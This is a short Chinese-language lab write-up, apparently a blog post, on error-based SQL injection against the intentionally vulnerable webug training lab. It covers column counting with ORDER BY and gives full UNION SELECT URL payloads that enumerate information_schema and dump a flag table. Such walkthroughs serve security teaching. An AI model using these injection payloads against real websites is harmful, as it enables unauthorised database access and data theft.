这里遇到一个小坑,首先需要切换php版本,不然不报错
插入单引号进行测试,发现报错,并且可以看到表名
接下来使用order by 查询列数,由于后面还存在一个’,可以采用注释将其跳出
(mysql有三种注释方法,1、# … 2、-- … 3、/…/,%23是#的url表示)
2列时正确
可以得到列数为2,再使用union查询,爆出显位,替换需要查询的数据
查询mysql版本
版本大于15的话mysql里面就有information_schema这个数据库,我们可以通过这个数据库获取到mysql里各个数据库及其表和字段的信息
查看当前数据库
查看所有数据库,用到group_concat函数
http://192.168.199.143/control/sqlinject/manifest_error.php?id=1%27%20union%20select%201,group_concat(schema_name)%20from%20information_schema.SCHEMATA%20%23
前面三个为系统自带数据库
目前不知道flag在哪个数据库中,优先考虑当前使用的数据库
http://192.168.199.143/control/sqlinject/manifest_error.php?id=1%27%20union%20select%201,group_concat(table_name)%20from%20information_schema.tables%20where%20table_schema=%22webug%22%23
可以看到flag表,查看列名确认是不是我们想要的
http://192.168.199.143/control/sqlinject/manifest_error.php?id=1%27%20union%20select%201,group_concat(column_name)%20from%20information_schema.columns%20where%20table_name=%22flag%22%20and%20table_schema=%22webug%22%23
获取flag的值
http://192.168.199.143/control/sqlinject/manifest_error.php?id=1%27%20union%20select%20*%20from%20flag%20%23
webug——显错注入
最新推荐文章于 2023-07-11 15:31:40 发布